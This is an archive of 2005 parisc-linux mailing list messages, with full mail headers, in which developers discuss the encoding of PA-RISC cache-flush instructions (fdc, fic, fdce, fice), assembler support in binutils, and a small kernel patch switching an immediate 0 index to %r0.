Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Sep 2005 15:36:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 29 Sep 2005 17:36:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BACD57D6AD;
	Thu, 29 Sep 2005 09:36:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03967-05; Thu, 29 Sep 2005 09:36:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B2A357D6AE;
	Thu, 29 Sep 2005 09:36:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96C317D6AB
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Sep 2005 09:36:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03967-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Sep 2005 09:36:35 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 0738A7D6A2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Sep 2005 09:36:35 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 78EC729802F;
	Thu, 29 Sep 2005 09:43:09 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28921-10; Thu, 29 Sep 2005 09:43:08 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 129B8298026; Thu, 29 Sep 2005 09:43:08 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200509291513.j8TFDjxN010783@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: W29OYxU8eSEkO76WZHQhaXN1IGRvb8DD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23166

On Thu, Sep 29, 2005 at 11:13:45AM -0400, John David Anglin wrote:
> Specifying sr0 will cause fdc to use the space id in sr0.  There's no
> mapping to sr4-7.  This mapping is available when generating PA 2.0
> code with current cvs binutils, but only if you *do not* specify sr0.
> In PA 2.0, there are two different instruction formats for fdc (2 and
> 3-bit space register formats).

Uhm, in my copy of the book, page 7-51 shows two formats, both with
a 2-bit "s" field and clearly indicates a "space_select(s,...)" operation.

>   Only the 2-bit format has the mapping
> to sr4-7.  The 2-bit format is not available when generating PA 1.x code.

page 5-171 of my PA 1.1 book shows only a 2-bit 's' field (and indexed
by register) for FDC. Did you flip to the next page and are by
accident reading the FIC (which only has 3-bit s field) instruction?

> 
> > -	asm volatile("fdc 0(%0)" : : "r" (pdir_ptr));
> > +	asm volatile("fdc %%r0(%%sr0,%0)" : : "r" (pdir_ptr));
> 
> For this to work in PA 1.x, you need to load the space id selected
> by %0 into sr0, or ensure the kernel space id is put in sr0.  Doesn't
> sr4 have the kernel space id in it?

Yes and Yes. But my reading of the PA1.1 arch says it *only* has a 2-bit
s field.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.14-rc2-pa2 ccio patch
Date: Thu, 29 Sep 2005 18:04:03 +0000
Lines: 71
Approved: news@gmane.org
Message-ID: <433C2C93.6060602@tiscali.be>
References: <20050929063554.51BCD494003@palinux.hppa>
	<20050929064709.GA22206@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623926 16785 80.91.229.3 (22 Nov 2014 02:38:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Sep 2005 18:04:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 29 Sep 2005 20:04:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 28A5C7D6E2;
	Thu, 29 Sep 2005 12:04:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05057-05; Thu, 29 Sep 2005 12:04:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 191D47D6E7;
	Thu, 29 Sep 2005 12:04:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F27697D6DD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Sep 2005 12:04:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05060-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Sep 2005 12:04:08 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 0FD6A7D6D1
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Sep 2005 12:04:07 -0600 (MDT)
Original-Received: from (ip-80-236-227-172.dsl.scarlet.be [80.236.227.172]) 
	by oola.is.scarlet.be  with ESMTP id j8TI44B06112; 
	Thu, 29 Sep 2005 20:04:04 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.11) Gecko/20050914 Debian/1.7.11-1
X-Accept-Language: en
In-Reply-To: <20050929064709.GA22206@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9ElOY1pWeSEkRr6WZHQhaXN1IGRvb4Co
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23167



Grant Grundler wrote:
> On Thu, Sep 29, 2005 at 12:35:54AM -0600, Grant Grundler wrote:
> 
[...]

> -	asm volatile("fdc 0(%0)" : : "r" (pdir_ptr));
> +	asm volatile("fdc %%r0(%%sr0,%0)" : : "r" (pdir_ptr));
>  	asm volatile("sync");
did I well undurstand my reading (pa11_acd.pdf):
the mnemonics 'fdc,cmplt x(s,b)' and 'fic,cmplt x(sr,b)' refer well x as 'the index register'.

So may be have a common writing:
--- arch/parisc/kernel/pacache.S.Orig   2005-09-29 16:09:03.000000000 +0200
+++ arch/parisc/kernel/pacache.S        2005-09-29 18:21:56.000000000 +0200
@@ -227,7 +227,7 @@

  fimanyloop:                                    /* Loop if LOOP >= 2 */
         ADDIB>          -1, %r31, fimanyloop    /* Adjusted inner loop decr */
-       fice            0(%sr1, %arg0)
+       fice            %r0(%sr1, %arg0)
         fice,m          %arg1(%sr1, %arg0)      /* Last fice and addr adjust */
         movb,tr         %arg3, %r31, fimanyloop /* Re-init inner loop count */
         ADDIB<=,n       -1, %arg2, fisync       /* Outer loop decr */
@@ -269,7 +269,7 @@

  fdmanyloop:                                    /* Loop if LOOP >= 2 */
         ADDIB>          -1, %r31, fdmanyloop    /* Adjusted inner loop decr */
-       fdce            0(%sr1, %arg0)
+       fdce            %r0(%sr1, %arg0)
         fdce,m          %arg1(%sr1, %arg0)      /* Last fdce and addr adjust */
         movb,tr         %arg3, %r31, fdmanyloop /* Re-init inner loop count */
         ADDIB<=,n       -1, %arg2, fdsync       /* Outer loop decr */
--- arch/parisc/kernel/signal.c.Orig    2005-09-29 16:02:29.000000000 +0200
+++ arch/parisc/kernel/signal.c 2005-09-29 18:34:32.000000000 +0200
@@ -296,7 +296,7 @@
         struct rt_sigframe __user *frame;
         unsigned long rp, usp;
         unsigned long haddr, sigframe_size;
-       struct siginfo si;
+
         int err = 0;
  #ifdef __LP64__
         compat_int_t compat_val;
@@ -627,9 +627,9 @@

                         /* Stack is 64-byte aligned, and we only
                          * need to flush 1 cache line */
-                       asm("fdc 0(%%sr3, %0)\n"
+                       asm("fdc %%r0(%%sr3, %0)\n"
                             "sync\n"
-                           "fic 0(%%sr3, %0)\n"
+                           "fic %%r0(%%sr3, %0)\n"
                             "sync\n"
                             : : "r"(regs->gr[30]));

====<>====

(this hunk:
-       struct siginfo si;
to get rid of a compiler warning)

Hth,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.14-rc2-pa2 ccio patch
Date: Thu, 29 Sep 2005 19:21:38 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200509292321.j8TNLc60012238@hiauly1.hia.nrc.ca>
References: <20050929154308.GA29975@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623926 16787 80.91.229.3 (22 Nov 2014 02:38:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Sep 2005 23:21:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 30 Sep 2005 01:21:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D44FC7D699;
	Thu, 29 Sep 2005 17:21:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09183-02; Thu, 29 Sep 2005 17:21:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE1667D691;
	Thu, 29 Sep 2005 17:21:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C8D97D68E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Sep 2005 17:21:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08596-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Sep 2005 17:21:40 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 801017D68B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Sep 2005 17:21:40 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j8TNLdeT012239; Thu, 29 Sep 2005 19:21:39 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j8TNLc60012238;
	Thu, 29 Sep 2005 19:21:38 -0400 (EDT)
In-Reply-To: <20050929154308.GA29975@colo.lackof.org> from "Grant Grundler" at
	Sep 29, 2005 09:43:08 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WxJOYxlQeSEkS76WZHQhaXN1IGRvb8C7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23168

> Yes and Yes. But my reading of the PA1.1 arch says it *only* has a 2-bit
> s field.

Oops, my mix up (fic/fdc confusion).  However, don't add sr0 to the
instruction.  Specifying %r0 instead of '0' is the issue.  Strictly,
the immediate form is only allowed in PA 2.0.  However, if the assembler
doesn't accept it let me know.

I'm going to take a crack at trying to fix PA 1.0 to 1.1 promotion
this weekend.  This is currently tied to the the lax matching used
with PA 1.0 instructions.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.14-rc2-pa2 ccio patch
Date: Sat, 1 Oct 2005 00:50:49 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <20051001065049.GA3308@colo.lackof.org>
References: <20050929154308.GA29975@colo.lackof.org>
	<200509292321.j8TNLc60012238@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623927 16791 80.91.229.3 (22 Nov 2014 02:38:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Oct 2005 06:44:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 01 Oct 2005 08:44:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BBB747D63B;
	Sat,  1 Oct 2005 00:44:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27953-10; Sat, 1 Oct 2005 00:44:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8D8797D637;
	Sat,  1 Oct 2005 00:44:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 736637D633
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 Oct 2005 00:44:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27936-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 1 Oct 2005 00:44:13 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id DE7317D630
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 Oct 2005 00:44:13 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 04991298034;
	Sat,  1 Oct 2005 00:50:51 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09350-05; Sat, 1 Oct 2005 00:50:49 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8FF5929802F; Sat,  1 Oct 2005 00:50:49 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200509292321.j8TNLc60012238@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ElVMY01meSEker6WZHQhaXN1IGRvb8Aa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23169

On Thu, Sep 29, 2005 at 07:21:38PM -0400, John David Anglin wrote:
> > Yes and Yes. But my reading of the PA1.1 arch says it *only* has a 2-bit
> > s field.
> 
> Oops, my mix up (fic/fdc confusion).

no problem - I've done worse.

>   However, don't add sr0 to the instruction.

Why not? I added it because I didn't like assumption the caller
to *io_pdir_entry was passing KERNEL_SPACE argument. If that's going
to forever be true, then we may as well hardcode KERNEL_SPACE
in both ccio and sba io_pdir_entry() routines instead of
taking a space_id parameter. Would save us a few cycles.

>   Specifying %r0 instead of '0' is the issue.  Strictly,
> the immediate form is only allowed in PA 2.0.  However, if the assembler
> doesn't accept it let me know.

That's what it looked like to me too.
It now uses %r0.

> I'm going to take a crack at trying to fix PA 1.0 to 1.1 promotion
> this weekend.  This is currently tied to the the lax matching used
> with PA 1.0 instructions.

Like I said, this isn't a problem that bothers me.

thanks!
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.14-rc2-pa2 ccio patch
Date: Sat, 8 Oct 2005 15:30:47 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200510081930.j98JUm9U007695@hiauly1.hia.nrc.ca>
References: <200509292321.j8TNLc60012238@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623927 16792 80.91.229.3 (22 Nov 2014 02:38:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Oct 2005 19:30:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 08 Oct 2005 21:30:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A954B7D659;
	Sat,  8 Oct 2005 13:30:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24674-04; Sat, 8 Oct 2005 13:30:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F4147D65B;
	Sat,  8 Oct 2005 13:30:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 91E0D7D658
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Oct 2005 13:30:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24363-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 8 Oct 2005 13:30:53 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id E79727D655
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Oct 2005 13:30:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j98JUnr8007700; Sat, 8 Oct 2005 15:30:49 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j98JUm9U007695;
	Sat, 8 Oct 2005 15:30:48 -0400 (EDT)
In-Reply-To: <200509292321.j8TNLc60012238@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Sep 29, 2005 07:21:38 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: I3s6Y5QGeSEkX76WZHQhaXN1IGRvbwDt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23170

> I'm going to take a crack at trying to fix PA 1.0 to 1.1 promotion
> this weekend.  This is currently tied to the the lax matching used
> with PA 1.0 instructions.

I believe that binutils (cvs head) should now correctly handle promotion.
See http://sources.redhat.com/ml/binutils/2005-10/msg00085.html.  The
change also fixes a problem with "fdc" that was introduced when I added
the PA 2.0 immediate form.  It turns out that I broke the PA 1.0 register
immediate form.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
